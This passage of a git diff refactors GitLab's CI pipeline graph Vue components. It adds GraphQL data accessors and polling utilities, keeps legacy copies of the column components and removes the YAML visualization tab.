mixins: [delayedJobMixin],
+ inject: {
+ dataMethod: {
+ default: REST,
+ },
+ },
props: {
job: {
type: Object,
@@ -71,10 +78,15 @@ export default {
boundary() {
return this.dropdownLength === 1 ? 'viewport' : 'scrollParent';
},
+ detailsPath() {
+ return accessValue(this.dataMethod, 'detailsPath', this.status);
+ },
+ hasDetails() {
+ return accessValue(this.dataMethod, 'hasDetails', this.status);
+ },
status() {
return this.job && this.job.status ? this.job.status : {};
},
-
tooltipText() {
const textBuilder = [];
const { name: jobName } = this.job;
@@ -129,19 +141,23 @@ export default {
};
</script>
<template>
- <div class="ci-job-component" data-qa-selector="job_item_container">
+ <div
+ class="ci-job-component gl-display-flex gl-align-items-center gl-justify-content-space-between"
+ data-qa-selector="job_item_container"
+ >
<gl-link
- v-if="status.has_details"
+ v-if="hasDetails"
v-gl-tooltip="{ boundary, placement: 'bottom', customClass: 'gl-pointer-events-none' }"
- :href="status.details_path"
+ :href="detailsPath"
:title="tooltipText"
:class="jobClasses"
- class="js-pipeline-graph-job-link qa-job-link menu-item"
+ class="js-pipeline-graph-job-link qa-job-link menu-item gl-text-gray-900 gl-active-text-decoration-none
+ gl-focus-text-decoration-none gl-hover-text-decoration-none"
data-testid="job-with-link"
@click.stop="hideTooltips"
@mouseout="hideTooltips"
>
- <job-name-component :name="job.name" :status="job.status" />
+ <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
</gl-link>
<div
@@ -149,11 +165,11 @@ export default {
v-gl-tooltip="{ boundary, placement: 'bottom', customClass: 'gl-pointer-events-none' }"
:title="tooltipText"
:class="jobClasses"
- class="js-job-component-tooltip non-details-job-component"
+ class="js-job-component-tooltip non-details-job-component menu-item"
data-testid="job-without-link"
@mouseout="hideTooltips"
>
- <job-name-component :name="job.name" :status="job.status" />
+ <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
</div>
<action-component
diff --git a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue b/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
index 1b71949784a..23a38fc053e 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
@@ -16,18 +16,22 @@ export default {
type: String,
required: true,
},
-
status: {
type: Object,
required: true,
},
+ iconSize: {
+ type: Number,
+ required: false,
+ default: 16,
+ },
},
};
</script>
<template>
- <span class="ci-job-name-component mw-100">
- <ci-icon :status="status" />
- <span class="gl-text-truncate mw-70p gl-pl-2 gl-display-inline-block gl-vertical-align-bottom">
+ <span class="ci-job-name-component mw-100 gl-display-flex gl-align-items-center">
+ <ci-icon :size="iconSize" :status="status" />
+ <span class="gl-text-truncate mw-70p gl-pl-3 gl-display-inline-block">
{{ name }}
</span>
</span>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index 11f06a25984..1a179de64cd 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -2,7 +2,8 @@
import { GlTooltipDirective, GlButton, GlLink, GlLoadingIcon } from '@gitlab/ui';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
import { __, sprintf } from '~/locale';
-import { UPSTREAM, DOWNSTREAM } from './constants';
+import { accessValue } from './accessors';
+import { DOWNSTREAM, REST, UPSTREAM } from './constants';
export default {
directives: {
@@ -14,28 +15,43 @@ export default {
GlLink,
GlLoadingIcon,
},
+ inject: {
+ dataMethod: {
+ default: REST,
+ },
+ },
props: {
columnTitle: {
type: String,
required: true,
},
- pipeline: {
- type: Object,
+ expanded: {
+ type: Boolean,
required: true,
},
- projectId: {
- type: Number,
+ pipeline: {
+ type: Object,
required: true,
},
type: {
type: String,
required: true,
},
- },
- data() {
- return {
- expanded: false,
- };
+ /*
+ The next two props will be removed or required
+ once the graph transition is done.
+ See: https://gitlab.com/gitlab-org/gitlab/-/issues/291043
+ */
+ isLoading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ projectId: {
+ type: Number,
+ required: false,
+ default: -1,
+ },
},
computed: {
tooltipText() {
@@ -46,7 +62,7 @@ export default {
return `js-linked-pipeline-${this.pipeline.id}`;
},
pipelineStatus() {
- return this.pipeline.details.status;
+ return accessValue(this.dataMethod, 'pipelineStatus', this.pipeline);
},
projectName() {
return this.pipeline.project.name;
@@ -68,6 +84,9 @@ export default {
}
return __('Multi-project');
},
+ pipelineIsLoading() {
+ return Boolean(this.isLoading || this.pipeline.isLoading);
+ },
isDownstream() {
return this.type === DOWNSTREAM;
},
@@ -75,12 +94,15 @@ export default {
return this.type === UPSTREAM;
},
isSameProject() {
- return this.projectId === this.pipeline.project.id;
+ return this.projectId > -1
+ ? this.projectId === this.pipeline.project.id
+ : !this.pipeline.multiproject;
+ },
+ sourceJobName() {
+ return accessValue(this.dataMethod, 'sourceJob', this.pipeline);
},
sourceJobInfo() {
- return this.isDownstream
- ? sprintf(__('Created by %{job}'), { job: this.pipeline.source_job.name })
- : '';
+ return this.isDownstream ? sprintf(__('Created by %{job}'), { job: this.sourceJobName }) : '';
},
expandedIcon() {
if (this.isUpstream) {
@@ -94,16 +116,15 @@ export default {
},
methods: {
onClickLinkedPipeline() {
- this.$root.$emit('bv::hide::tooltip', this.buttonId);
- this.expanded = !this.expanded;
+ this.hideTooltips();
this.$emit('pipelineClicked', this.$refs.linkedPipeline);
- this.$emit('pipelineExpandToggle', this.pipeline.source_job.name, this.expanded);
+ this.$emit('pipelineExpandToggle', this.sourceJobName, !this.expanded);
},
hideTooltips() {
this.$root.$emit('bv::hide::tooltip');
},
onDownstreamHovered() {
- this.$emit('downstreamHovered', this.pipeline.source_job.name);
+ this.$emit('downstreamHovered', this.sourceJobName);
},
onDownstreamHoverLeave() {
this.$emit('downstreamHovered', '');
@@ -113,10 +134,10 @@ export default {
</script>
<template>
- <li
+ <div
ref="linkedPipeline"
v-gl-tooltip
- class="linked-pipeline build"
+ class="linked-pipeline build gl-pipeline-job-width"
:title="tooltipText"
:class="{ 'downstream-pipeline': isDownstream }"
data-qa-selector="child_pipeline"
@@ -129,8 +150,9 @@ export default {
>
<div class="gl-display-flex">
<ci-status
- v-if="!pipeline.isLoading"
+ v-if="!pipelineIsLoading"
:status="pipelineStatus"
+ :size="24"
css-classes="gl-top-0 gl-pr-2"
/>
<div v-else class="gl-pr-2"><gl-loading-icon inline /></div>
@@ -153,10 +175,10 @@ export default {
class="gl-absolute gl-top-0 gl-bottom-0 gl-shadow-none! gl-rounded-0!"
:class="`js-pipeline-expand-${pipeline.id} ${expandButtonPosition}`"
:icon="expandedIcon"
- data-testid="expandPipelineButton"
+ data-testid="expand-pipeline-button"
data-qa-selector="expand_pipeline_button"
@click="onClickLinkedPipeline"
/>
</div>
- </li>
+ </div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
index 2ca33e6d33e..7d333087874 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
@@ -1,10 +1,14 @@
<script>
+import getPipelineDetails from '../../graphql/queries/get_pipeline_details.query.graphql';
import LinkedPipeline from './linked_pipeline.vue';
+import { LOAD_FAILURE } from '../../constants';
import { UPSTREAM } from './constants';
+import { unwrapPipelineData, toggleQueryPollingByVisibility } from './utils';
export default {
components: {
LinkedPipeline,
+ PipelineGraph: () => import('./graph_component.vue'),
},
props: {
columnTitle: {
@@ -19,11 +23,22 @@ export default {
type: String,
required: true,
},
- projectId: {
- type: Number,
- required: true,
- },
},
+ data() {
+ return {
+ currentPipeline: null,
+ loadingPipelineId: null,
+ pipelineExpanded: false,
+ };
+ },
+ titleClasses: [
+ 'gl-font-weight-bold',
+ 'gl-pipeline-job-width',
+ 'gl-text-truncate',
+ 'gl-line-height-36',
+ 'gl-pl-3',
+ 'gl-mb-5',
+ ],
computed: {
columnClass() {
const positionValues = {
@@ -35,14 +50,69 @@ export default {
graphPosition() {
return this.isUpstream ? 'left' : 'right';
},
- // Refactor string match when BE returns Upstream/Downstream indicators
isUpstream() {
return this.type === UPSTREAM;
},
+ computedTitleClasses() {
+ const positionalClasses = this.isUpstream
+ ? ['gl-w-full', 'gl-text-right', 'gl-linked-pipeline-padding']
+ : [];
+
+ return [...this.$options.titleClasses, ...positionalClasses];
+ },
},
methods: {
- onPipelineClick(downstreamNode, pipeline, index) {
- this.$emit('linkedPipelineClick', pipeline, index, downstreamNode);
+ getPipelineData(pipeline) {
+ const projectPath = pipeline.project.fullPath;
+
+ this.$apollo.addSmartQuery('currentPipeline', {
+ query: getPipelineDetails,
+ pollInterval: 10000,
+ variables() {
+ return {
+ projectPath,
+ iid: pipeline.iid,
+ };
+ },
+ update(data) {
+ return unwrapPipelineData(projectPath, data);
+ },
+ result() {
+ this.loadingPipelineId = null;
+ },
+ error() {
+ this.$emit('error', LOAD_FAILURE);
+ },
+ });
+
+ toggleQueryPollingByVisibility(this.$apollo.queries.currentPipeline);
+ },
+ isExpanded(id) {
+ return Boolean(this.currentPipeline?.id && id === this.currentPipeline.id);
+ },
+ isLoadingPipeline(id) {
+ return this.loadingPipelineId === id;
+ },
+ onPipelineClick(pipeline) {
+ /* If the clicked pipeline has been expanded already, close it, clear, exit */
+ if (this.currentPipeline?.id === pipeline.id) {
+ this.pipelineExpanded = false;
+ this.currentPipeline = null;
+ return;
+ }
+
+ /* Set the loading id */
+ this.loadingPipelineId = pipeline.id;
+
+ /*
+ Expand the pipeline.
+ If this was not a toggle close action, and
+ it was already showing a different pipeline, then
+ this will be a no-op, but that doesn't matter.
+ */
+ this.pipelineExpanded = true;
+
+ this.getPipelineData(pipeline);
},
onDownstreamHovered(jobName) {
this.$emit('downstreamHovered', jobName);
@@ -60,25 +130,40 @@ export default {
</script>
<template>
- <div :class="columnClass" class="stage-column linked-pipelines-column">
- <div class="stage-name linked-pipelines-column-title">{{ columnTitle }}</div>
- <div v-if="isUpstream" class="cross-project-triangle"></div>
- <ul>
- <linked-pipeline
- v-for="(pipeline, index) in linkedPipelines"
- :key="pipeline.id"
- :class="{
- active: pipeline.isExpanded,
- 'left-connector': pipeline.isExpanded && graphPosition === 'left',
- }"
- :pipeline="pipeline"
- :column-title="columnTitle"
- :project-id="projectId"
- :type="type"
- @pipelineClicked="onPipelineClick($event, pipeline, index)"
- @downstreamHovered="onDownstreamHovered"
- @pipelineExpandToggle="onPipelineExpandToggle"
- />
- </ul>
+ <div class="gl-display-flex">
+ <div :class="columnClass" class="linked-pipelines-column">
+ <div data-testid="linked-column-title" class="stage-name" :class="computedTitleClasses">
+ {{ columnTitle }}
+ </div>
+ <ul class="gl-pl-0">
+ <li
+ v-for="pipeline in linkedPipelines"
+ :key="pipeline.id"
+ class="gl-display-flex gl-mb-4"
+ :class="{ 'gl-flex-direction-row-reverse': isUpstream }"
+ >
+ <linked-pipeline
+ class="gl-display-inline-block"
+ :is-loading="isLoadingPipeline(pipeline.id)"
+ :pipeline="pipeline"
+ :column-title="columnTitle"
+ :type="type"
+ :expanded="isExpanded(pipeline.id)"
+ @downstreamHovered="onDownstreamHovered"
+ @pipelineClicked="onPipelineClick(pipeline)"
+ @pipelineExpandToggle="onPipelineExpandToggle"
+ />
+ <div v-if="isExpanded(pipeline.id)" class="gl-display-inline-block">
+ <pipeline-graph
+ v-if="currentPipeline"
+ :type="type"
+ class="d-inline-block gl-mt-n2"
+ :pipeline="currentPipeline"
+ :is-linked-pipeline="true"
+ />
+ </div>
+ </li>
+ </ul>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue
new file mode 100644
index 00000000000..7d371b33220
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue
@@ -0,0 +1,87 @@
+<script>
+import LinkedPipeline from './linked_pipeline.vue';
+import { UPSTREAM } from './constants';
+
+export default {
+ components: {
+ LinkedPipeline,
+ },
+ props: {
+ columnTitle: {
+ type: String,
+ required: true,
+ },
+ linkedPipelines: {
+ type: Array,
+ required: true,
+ },
+ type: {
+ type: String,
+ required: true,
+ },
+ projectId: {
+ type: Number,
+ required: true,
+ },
+ },
+ computed: {
+ columnClass() {
+ const positionValues = {
+ right: 'gl-ml-11',
+ left: 'gl-mr-7',
+ };
+ return `graph-position-${this.graphPosition} ${positionValues[this.graphPosition]}`;
+ },
+ graphPosition() {
+ return this.isUpstream ? 'left' : 'right';
+ },
+ isExpanded() {
+ return this.pipeline?.isExpanded || false;
+ },
+ isUpstream() {
+ return this.type === UPSTREAM;
+ },
+ },
+ methods: {
+ onPipelineClick(downstreamNode, pipeline, index) {
+ this.$emit('linkedPipelineClick', pipeline, index, downstreamNode);
+ },
+ onDownstreamHovered(jobName) {
+ this.$emit('downstreamHovered', jobName);
+ },
+ onPipelineExpandToggle(jobName, expanded) {
+ // Highlighting only applies to downstream pipelines
+ if (this.isUpstream) {
+ return;
+ }
+
+ this.$emit('pipelineExpandToggle', jobName, expanded);
+ },
+ },
+};
+</script>
+
+<template>
+ <div :class="columnClass" class="stage-column linked-pipelines-column">
+ <div class="stage-name linked-pipelines-column-title">{{ columnTitle }}</div>
+ <div v-if="isUpstream" class="cross-project-triangle"></div>
+ <ul>
+ <li v-for="(pipeline, index) in linkedPipelines" :key="pipeline.id">
+ <linked-pipeline
+ :class="{
+ active: pipeline.isExpanded,
+ 'left-connector': pipeline.isExpanded && graphPosition === 'left',
+ }"
+ :pipeline="pipeline"
+ :column-title="columnTitle"
+ :project-id="projectId"
+ :type="type"
+ :expanded="isExpanded"
+ @pipelineClicked="onPipelineClick($event, pipeline, index)"
+ @downstreamHovered="onDownstreamHovered"
+ @pipelineExpandToggle="onPipelineExpandToggle"
+ />
+ </li>
+ </ul>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
index a75ec585b95..b9bddc94ce4 100644
--- a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
@@ -1,17 +1,19 @@
<script>
-import { isEmpty, escape } from 'lodash';
-import stageColumnMixin from '../../mixins/stage_column_mixin';
+import { capitalize, escape, isEmpty } from 'lodash';
+import MainGraphWrapper from '../graph_shared/main_graph_wrapper.vue';
import JobItem from './job_item.vue';
import JobGroupDropdown from './job_group_dropdown.vue';
import ActionComponent from './action_component.vue';
+import { GRAPHQL } from './constants';
+import { accessValue } from './accessors';
export default {
components: {
- JobItem,
- JobGroupDropdown,
ActionComponent,
+ JobGroupDropdown,
+ JobItem,
+ MainGraphWrapper,
},
- mixins: [stageColumnMixin],
props: {
title: {
type: String,
@@ -21,16 +23,6 @@ export default {
type: Array,
required: true,
},
- isFirstColumn: {
- type: Boolean,
- required: false,
- default: false,
- },
- stageConnectorClass: {
- type: String,
- required: false,
- default: '',
- },
action: {
type: Object,
required: false,
@@ -47,62 +39,68 @@ export default {
default: () => ({}),
},
},
+ titleClasses: [
+ 'gl-font-weight-bold',
+ 'gl-pipeline-job-width',
+ 'gl-text-truncate',
+ 'gl-line-height-36',
+ 'gl-pl-3',
+ ],
computed: {
+ formattedTitle() {
+ return capitalize(escape(this.title));
+ },
hasAction() {
return !isEmpty(this.action);
},
},
methods: {
+ getGroupId(group) {
+ return accessValue(GRAPHQL, 'groupId', group);
+ },
groupId(group) {
return `ci-badge-${escape(group.name)}`;
},
- pipelineActionRequestComplete() {
- this.$emit('refreshPipelineGraph');
- },
},
};
</script>
<template>
- <li :class="stageConnectorClass" class="stage-column">
- <div class="stage-name position-relative">
- {{ title }}
- <action-component
- v-if="hasAction"
- :action-icon="action.icon"
- :tooltip-text="action.title"
- :link="action.path"
- class="js-stage-action stage-action rounded"
- @pipelineActionRequestComplete="pipelineActionRequestComplete"
- />
- </div>
-
- <div class="builds-container">
- <ul>
- <li
- v-for="(group, index) in groups"
- :id="groupId(group)"
- :key="group.id"
- :class="buildConnnectorClass(index)"
- class="build"
- >
- <div class="curve"></div>
-
- <job-item
- v-if="group.size === 1"
- :job="group.jobs[0]"
- :job-hovered="jobHovered"
- :pipeline-expanded="pipelineExpanded"
- css-class-job-name="build-content"
- @pipelineActionRequestComplete="pipelineActionRequestComplete"
- />
-
- <job-group-dropdown
- v-if="group.size > 1"
- :group="group"
- @pipelineActionRequestComplete="pipelineActionRequestComplete"
- />
- </li>
- </ul>
- </div>
- </li>
+ <main-graph-wrapper>
+ <template #stages>
+ <div
+ data-testid="stage-column-title"
+ class="gl-display-flex gl-justify-content-space-between gl-relative"
+ :class="$options.titleClasses"
+ >
+ <div>{{ formattedTitle }}</div>
+ <action-component
+ v-if="hasAction"
+ :action-icon="action.icon"
+ :tooltip-text="action.title"
+ :link="action.path"
+ class="js-stage-action stage-action rounded"
+ @pipelineActionRequestComplete="$emit('refreshPipelineGraph')"
+ />
+ </div>
+ </template>
+ <template #jobs>
+ <div
+ v-for="group in groups"
+ :id="groupId(group)"
+ :key="getGroupId(group)"
+ data-testid="stage-column-group"
+ class="gl-relative gl-mb-3 gl-white-space-normal gl-pipeline-job-width"
+ >
+ <job-item
+ v-if="group.size === 1"
+ :job="group.jobs[0]"
+ :job-hovered="jobHovered"
+ :pipeline-expanded="pipelineExpanded"
+ css-class-job-name="gl-build-content"
+ @pipelineActionRequestComplete="$emit('refreshPipelineGraph')"
+ />
+ <job-group-dropdown v-else :group="group" />
+ </div>
+ </template>
+ </main-graph-wrapper>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue
new file mode 100644
index 00000000000..258b6bf6b6d
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue
@@ -0,0 +1,108 @@
+<script>
+import { isEmpty, escape } from 'lodash';
+import stageColumnMixin from '../../mixins/stage_column_mixin';
+import JobItem from './job_item.vue';
+import JobGroupDropdown from './job_group_dropdown.vue';
+import ActionComponent from './action_component.vue';
+
+export default {
+ components: {
+ JobItem,
+ JobGroupDropdown,
+ ActionComponent,
+ },
+ mixins: [stageColumnMixin],
+ props: {
+ title: {
+ type: String,
+ required: true,
+ },
+ groups: {
+ type: Array,
+ required: true,
+ },
+ isFirstColumn: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ stageConnectorClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ action: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ jobHovered: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ pipelineExpanded: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ },
+ computed: {
+ hasAction() {
+ return !isEmpty(this.action);
+ },
+ },
+ methods: {
+ groupId(group) {
+ return `ci-badge-${escape(group.name)}`;
+ },
+ pipelineActionRequestComplete() {
+ this.$emit('refreshPipelineGraph');
+ },
+ },
+};
+</script>
+<template>
+ <li :class="stageConnectorClass" class="stage-column">
+ <div class="stage-name position-relative" data-testid="stage-column-title">
+ {{ title }}
+ <action-component
+ v-if="hasAction"
+ :action-icon="action.icon"
+ :tooltip-text="action.title"
+ :link="action.path"
+ class="js-stage-action stage-action rounded"
+ @pipelineActionRequestComplete="pipelineActionRequestComplete"
+ />
+ </div>
+
+ <div class="builds-container">
+ <ul>
+ <li
+ v-for="(group, index) in groups"
+ :id="groupId(group)"
+ :key="group.id"
+ :class="buildConnnectorClass(index)"
+ class="build"
+ >
+ <div class="curve"></div>
+
+ <job-item
+ v-if="group.size === 1"
+ :job="group.jobs[0]"
+ :job-hovered="jobHovered"
+ :pipeline-expanded="pipelineExpanded"
+ css-class-job-name="build-content"
+ @pipelineActionRequestComplete="pipelineActionRequestComplete"
+ />
+
+ <job-group-dropdown
+ v-if="group.size > 1"
+ :group="group"
+ @pipelineActionRequestComplete="pipelineActionRequestComplete"
+ />
+ </li>
+ </ul>
+ </div>
+ </li>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/utils.js b/app/assets/javascripts/pipelines/components/graph/utils.js
new file mode 100644
index 00000000000..32588feb426
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/utils.js
@@ -0,0 +1,57 @@
+import Visibility from 'visibilityjs';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { unwrapStagesWithNeeds } from '../unwrapping_utils';
+
+const addMulti = (mainPipelineProjectPath, linkedPipeline) => {
+ return {
+ ...linkedPipeline,
+ multiproject: mainPipelineProjectPath !== linkedPipeline.project.fullPath,
+ };
+};
+
+const transformId = linkedPipeline => {
+ return { ...linkedPipeline, id: getIdFromGraphQLId(linkedPipeline.id) };
+};
+
+const unwrapPipelineData = (mainPipelineProjectPath, data) => {
+ if (!data?.project?.pipeline) {
+ return null;
+ }
+
+ const { pipeline } = data.project;
+
+ const {
+ upstream,
+ downstream,
+ stages: { nodes: stages },
+ } = pipeline;
+
+ const nodes = unwrapStagesWithNeeds(stages);
+
+ return {
+ ...pipeline,
+ id: getIdFromGraphQLId(pipeline.id),
+ stages: nodes,
+ upstream: upstream
+ ? [upstream].map(addMulti.bind(null, mainPipelineProjectPath)).map(transformId)
+ : [],
+ downstream: downstream
+ ? downstream.nodes.map(addMulti.bind(null, mainPipelineProjectPath)).map(transformId)
+ : [],
+ };
+};
+
+const toggleQueryPollingByVisibility = (queryRef, interval = 10000) => {
+ const stopStartQuery = query => {
+ if (!Visibility.hidden()) {
+ query.startPolling(interval);
+ } else {
+ query.stopPolling();
+ }
+ };
+
+ stopStartQuery(queryRef);
+ Visibility.change(stopStartQuery.bind(null, queryRef));
+};
+
+export { unwrapPipelineData, toggleQueryPollingByVisibility };
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/linked_graph_wrapper.vue b/app/assets/javascripts/pipelines/components/graph_shared/linked_graph_wrapper.vue
new file mode 100644
index 00000000000..fb2280d971a
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph_shared/linked_graph_wrapper.vue
@@ -0,0 +1,7 @@
+<template>
+ <div class="gl-display-flex">
+ <slot name="upstream"></slot>
+ <slot name="main"></slot>
+ <slot name="downstream"></slot>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/main_graph_wrapper.vue b/app/assets/javascripts/pipelines/components/graph_shared/main_graph_wrapper.vue
new file mode 100644
index 00000000000..1c9e3236d56
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph_shared/main_graph_wrapper.vue
@@ -0,0 +1,32 @@
+<script>
+export default {
+ props: {
+ stageClasses: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ jobClasses: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <div
+ class="gl-display-flex gl-align-items-center gl-w-full gl-px-8 gl-mb-5"
+ :class="stageClasses"
+ >
+ <slot name="stages"> </slot>
+ </div>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8"
+ :class="jobClasses"
+ >
+ <slot name="jobs"> </slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/header_component.vue b/app/assets/javascripts/pipelines/components/header_component.vue
index 741609c908a..af7c0d0ec3f 100644
--- a/app/assets/javascripts/pipelines/components/header_component.vue
+++ b/app/assets/javascripts/pipelines/components/header_component.vue
@@ -229,6 +229,7 @@ export default {
v-if="pipeline.cancelable"
:loading="isCanceling"
:disabled="isCanceling"
+ class="gl-ml-3"
variant="danger"
data-testid="cancelPipeline"
@click="cancelPipeline()"
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/drawing_utils.js b/app/assets/javascripts/pipelines/components/pipeline_graph/drawing_utils.js
index 45940d4a39c..35230e1511b 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/drawing_utils.js
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/drawing_utils.js
@@ -1,5 +1,5 @@
import * as d3 from 'd3';
-import { createUniqueJobId } from '../../utils';
+import { createUniqueLinkId } from '../../utils';
/**
* This function expects its first argument data structure
* to be the same shaped as the one generated by `parseData`,
@@ -12,13 +12,13 @@ import { createUniqueJobId } from '../../utils';
* @returns {Array} Links that contain all the information about them
*/
-export const generateLinksData = ({ links }, jobs, containerID) => {
+export const generateLinksData = ({ links }, containerID) => {
const containerEl = document.getElementById(containerID);
return links.map(link => {
const path = d3.path();
- const sourceId = jobs[link.source].id;
- const targetId = jobs[link.target].id;
+ const sourceId = link.source;
+ const targetId = link.target;
const sourceNodeEl = document.getElementById(sourceId);
const targetNodeEl = document.getElementById(targetId);
@@ -89,7 +89,7 @@ export const generateLinksData = ({ links }, jobs, containerID) => {
...link,
source: sourceId,
target: targetId,
- ref: createUniqueJobId(sourceId, targetId),
+ ref: createUniqueLinkId(sourceId, targetId),
path: path.toString(),
};
});
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue
deleted file mode 100644
index 3cc76425e2a..00000000000
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue
+++ /dev/null
@@ -1,76 +0,0 @@
-<script>
-import { GlTab, GlTabs } from '@gitlab/ui';
-import jsYaml from 'js-yaml';
-import PipelineGraph from './pipeline_graph.vue';
-import { preparePipelineGraphData } from '../../utils';
-
-export default {
- FILE_CONTENT_SELECTOR: '#blob-content',
- EMPTY_FILE_SELECTOR: '.nothing-here-block',
-
- components: {
- GlTab,
- GlTabs,
- PipelineGraph,
- },
- props: {
- blobData: {
- required: true,
- type: String,
- },
- },
- data() {
- return {
- selectedTabIndex: 0,
- pipelineData: {},
- };
- },
- computed: {
- isVisualizationTab() {
- return this.selectedTabIndex === 1;
- },
- },
- async created() {
- if (this.blobData) {
- // The blobData in this case represents the gitlab-ci.yml data
- const json = await jsYaml.load(this.blobData);
- this.pipelineData = preparePipelineGraphData(json);
- }
- },
- methods: {
- // This is used because the blob page still uses haml, and we can't make
- // our haml hide the unused section so we resort to a standard query here.
- toggleFileContent({ isFileTab }) {
- const el = document.querySelector(this.$options.FILE_CONTENT_SELECTOR);
- const emptySection = document.querySelector(this.$options.EMPTY_FILE_SELECTOR);
-
- const elementToHide = el || emptySection;
-
- if (!elementToHide) {
- return;
- }
-
- // Checking for the current style display prevents user
- // from toggling visiblity on and off when clicking on the tab
- if (!isFileTab && elementToHide.style.display !== 'none') {
- elementToHide.style.display = 'none';
- }
-
- if (isFileTab && elementToHide.style.display === 'none') {
- elementToHide.style.display = 'block';
- }
- },
- },
-};
-</script>
-<template>
- <div>
- <div>
- <gl-tabs v-model="selectedTabIndex">
- <gl-tab :title="__('File')" @click="toggleFileContent({ isFileTab: true })" />
- <gl-tab :title="__('Visualization')" @click="toggleFileContent({ isFileTab: false })" />
- </gl-tabs>
- </div>
- <pipeline-graph v-if="isVisualizationTab" :pipeline-data="pipelineData" />
- </div>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
index a0c35f54c0e..51a95612d3f 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
@@ -10,10 +10,6 @@ export default {
type: String,
required: true,
},
- jobId: {
- type: String,
- required: true,
- },
isHighlighted: {
type: Boolean,
required: false,
@@ -45,7 +41,7 @@ export default {
},
methods: {
onMouseEnter() {
- this.$emit('on-mouse-enter', this.jobId);
+ this.$emit('on-mouse-enter', this.jobName);
},
onMouseLeave() {
this.$emit('on-mouse-leave');
@@ -56,7 +52,7 @@ export default {
<template>
<tooltip-on-truncate :title="jobName" truncate-target="child" placement="top">
<div
- :id="jobId"
+ :id="jobName"
class="gl-w-15 gl-bg-white gl-text-center gl-text-truncate gl-rounded-pill gl-mb-3 gl-px-5 gl-py-2 gl-relative gl-z-index-1 gl-transition-duration-slow gl-transition-timing-function-ease"
:class="jobPillClasses"
@mouseover="onMouseEnter"
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
index 11ad2f2a3b6..73e5f2542fb 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
@@ -6,8 +6,10 @@ import JobPill from './job_pill.vue';
import StagePill from './stage_pill.vue';
import { generateLinksData } from './drawing_utils';
import { parseData } from '../parsing_utils';
-import { DRAW_FAILURE, DEFAULT } from '../../constants';
-import { generateJobNeedsDict } from '../../utils';
+import { unwrapArrayOfJobs } from '../unwrapping_utils';
+import { DRAW_FAILURE, DEFAULT, INVALID_CI_CONFIG, EMPTY_PIPELINE_DATA } from '../../constants';
+import { createJobsHash, generateJobNeedsDict } from '../../utils';
+import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
export default {
components: {
@@ -22,6 +24,12 @@ export default {
[DRAW_FAILURE]: __('Could not draw the lines for job relationships'),
[DEFAULT]: __('An unknown error occurred.'),
},
+ warningTexts: {
+ [EMPTY_PIPELINE_DATA]: __(
+ 'The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax.',
+ ),
